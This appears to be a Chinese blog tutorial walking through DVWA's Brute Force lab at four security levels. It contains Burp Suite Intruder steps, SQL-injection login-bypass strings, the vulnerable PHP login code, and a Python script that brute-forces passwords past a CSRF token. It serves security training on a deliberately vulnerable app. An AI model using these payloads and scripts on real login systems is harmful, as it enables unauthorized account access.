接下来我们就要开始DVWA的新篇章了,虽然起步晚了,但是还算是即使醒悟了过来。
DVWA是一个练习和测试自己专业技能的好工具,对我们有十分大的帮助。
总共有十个模块,分别是Brute Force(暴力破解)、Command Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File Upload(文件上传)、Insecure CAPTCHA(不安全的验证码)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站脚本)、XSS(Stored)(存储型跨站脚本)。
今天我们先来介绍暴力破解模块。
Brute Force
Brute Force,即暴力(破解),是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一。
首先我们先从低等级(low级别)的开始:
Low
我们先来看看源代码,这样有助于我们对于实验的理解:
通过源码我们可以看见,此代码只是单一的验证输入的用户名和密码是否和数据库中的值是一样的,没有任何防爆破的手段,我们可以顺利的进行试验。
方法一:我们可以直接用伟大的抓包软件来进行爆破(简单的步骤在博客中已经发布,就不在多说了):
1、我们首先将浏览器设置好代理:8080端口
2、之后回到浏览器,我们尝试输入一下用户名和密码:admin 123456(随意),点击Login
回到 burpsuite 我们发现抓到包了。之后将源码全部选择发送到 Intruder 模块。(一切按照截图来,出了问题就对对
截图)
3、接着进入Intruder模块进行爆破准备,设置爆破类型为cluster bomb类型(这样才能同时爆破用户名和密码)
我们只需要对username和password添加变量进行暴力破解,所以我们只需要对这两个值进行符号标注,在右边有四个按钮我们可以来进行对符号的添加和除去
4.进入到payloads模块,进行爆破字典的载入。在options里设置线程为50
5,开始进行爆破:我们可以看到里面有一个数的length长度不一样,这个的返回值就是正确的,就是我们的用户名和密码。
第二种方法:我们所说的万能密码
用户名是下列任意一个,密码随意就可以登录。
admin'or '1'='1
admin' -- -
admin' #
Medium
先查看一下源码:
1 <?php 2 3 if( isset( $_GET[ 'Login' ] ) ) { 4 // Sanitise username input 5 $user = $_GET[ 'username' ]; 6 $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 7 8 // Sanitise password input 9 $pass = $_GET[ 'password' ]; 10 $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 11 $pass = md5( $pass ); 12 13 // Check the database 14 $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 15 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); 16 17 if( $result && mysqli_num_rows( $result ) == 1 ) { 18 // Get users details 19 $row = mysqli_fetch_assoc( $result ); 20 $avatar = $row["avatar"]; 21 22 // Login successful 23 echo "<p>欢迎使用密码保护区 {$user}</p>"; 24 echo "<img src="{$avatar}" />"; 25 } 26 else { 27 // Login failed 28 sleep( 2 ); 29 echo "<pre><br />用户名或密码不正确.</pre>"; 30 } 31 32 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 33 } 34 35 ?>
经过对代码的分析,我们发现:
我们发现Medium级别的代码比Low的增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,”,x1a)进行转义,所以我们就不可以用万能密码进行破解了,基本sql注入就废了。sleep(2)函数,在密码错误的情况下,反应满了两秒,没啥影响同时,$pass做了MD5校验,杜绝了通过参数password进行sql注入的可能性。但是,依然没有加入有效的防爆破机制,所以我们依旧可以进行爆破,。
High
查看源码:
1 <?php 2 3 if( isset( $_GET[ 'Login' ] ) ) { 4 // Check Anti-CSRF token 5 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 6 7 // Sanitise username input 8 $user = $_GET[ 'username' ]; 9 $user = stripslashes( $user ); 10 $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 11 12 // Sanitise password input 13 $pass = $_GET[ 'password' ]; 14 $pass = stripslashes( $pass ); 15 $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 16 $pass = md5( $pass ); 17 18 // Check database 19 $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 20 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); 21 22 if( $result && mysqli_num_rows( $result ) == 1 ) { 23 // Get users details 24 $row = mysqli_fetch_assoc( $result ); 25 $avatar = $row["avatar"]; 26 27 // Login successful 28 echo "<p>Welcome to the password protected area {$user}</p>"; 29 echo "<img src="{$avatar}" />"; 30 } 31 else { 32 // Login failed 33 sleep( rand( 0, 3 ) ); 34 echo "<pre><br />Username and/or password incorrect.</pre>"; 35 } 36 37 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 38 } 39 40 // Generate Anti-CSRF token 41 generateSessionToken(); 42 43 ?>
High级别的代码加入了Token,使用Anti-CSRF token可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。
每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。
同时,High级别的代码中,使用了stripslashes(去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个)、 mysql_real_escape_string对参数username、password进行过滤、转义,进一步抵御sql注入。
由于加入了Anti-CSRFtoken预防普通爆破但是我们依旧可以爆破,就是繁琐哦了一些:
方法一:简单用python写个脚本,对password进行爆破,打印
注:下面代码第三行ip换成 目标主机(DVWA)的ip才行
password.txt是我自己设置的字典,为了简单,只有十个密码,
get_token的功能是通过python的BeautifulSoup库从html页面中抓取user_token的值,为了方便展示,这里设置只尝试10次。
打印的结果从第二行开始依次是序号、用户名、密码、http状态码以及返回的页面长度。
1 from bs4 import BeautifulSoup 2 import urllib2 3 header={ 'Host': '192.168.24.140', 4 'Cache-Control': 'max-age=0', 5 'If-None-Match': "307-52156c6a290c0", 6 'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT', 7 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36', 8 'Accept': '*/*', 9 'Referer': 'http://192.168.153.130/dvwa/vulnerabilities/brute/index.php', 10 'Accept-Encoding': 'gzip, deflate, sdch', 11 'Accept-Language': 'zh-CN,zh;q=0.8', 12 'Cookie': 'security=high; PHPSESSID=5re92j36t4f2k1gvnqdf958bi2'} 13 requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/" 14 15 def get_token(requrl,header): 16 req = urllib2.Request(url=requrl,headers=header) 17 response = urllib2.urlopen(req) 18 print response.getcode(), 19 the_page = response.read() 20 print len(the_page) 21 soup = BeautifulSoup(the_page,"html.parser") 22 user_token = soup.form.input.input.input.input["value"] #get the user_token 23 return user_token 24 25 user_token = get_token(requrl,header) 26 i=0 27 for line in open("rkolin.txt"): 28 requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token 29 i = i+1 30 print i,'admin',line.strip(), 31 user_token = get_token(requrl,header) 32 if (i == 10): 33 break
第二种方法:使用burpsuite来爆破
查看 High级的源码,看以看出做了CSRF防御,但是并未做限制频次或锁定账号机制,虽然增加了爆破难度,但是依然可以爆破。
1. 将登录请求进行拦截,发现增加了user_token参数,所以爆破要选择两个参数来进行,先将请求发送到intruder。
2. 设置两个参数 password和user_token为变量,攻击类型选择pitchfork,意思是草叉模式(Pitchfork )——它可以使用多组Payload集合,在每一个不同的Payload标志位置上(最多20个),遍历所有的Payload。举例来说,如果有两个Payload标志位置,第一个Payload值为A和B,第二个Payload值为C和D,则发起攻击时,将共发起两次攻击,第一次使用的Payload分别为A和C,第二次使用的Payload分别为B和D。
3.设置参数,在option选项卡中将攻击线程thread设置为1,因为Recursive_Grep模式不支持多线程攻击
4、进入到Options中,找到 Grep-Extract,意思是用于提取响应消息中的有用信息,在Grep - Extract模块中,点击Add,出现下图,在左上方Start after expression中,输入 value='后点击Refetch response, 就会在下方的内容栏里出现若干内容,我们查看后,把value='后面的数字(即服务器返回的token,表示每次从响应中获取该值)选中,并且复制该值,一会会用到。
注:将下图value= 后面的数字复制下来,破解时要用
将Redirections设置为Always
5,我们回到Payloads中,两个字典都录入内容后,把Payload set设置为2,并且将Payload type设置成Recursive grep,下面的Payload Options就变成了当前的Recursive grep模式了。在最下面一个文本框,把刚刚在Options中复制的那个token值复制到其中
6 点击start attack攻击爆破,结果成功爆破,如下图所示:
终于成功了,可累死了!
Impossible
这个级别我们无法使用暴力破解来爆破这个难度,Impossible级别的代码加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,爆破也就无法继续,简而言之,在代码中我们可以看到对登录次数做了限定,这也最接近我们现实生活中的真实情况。同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这是因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。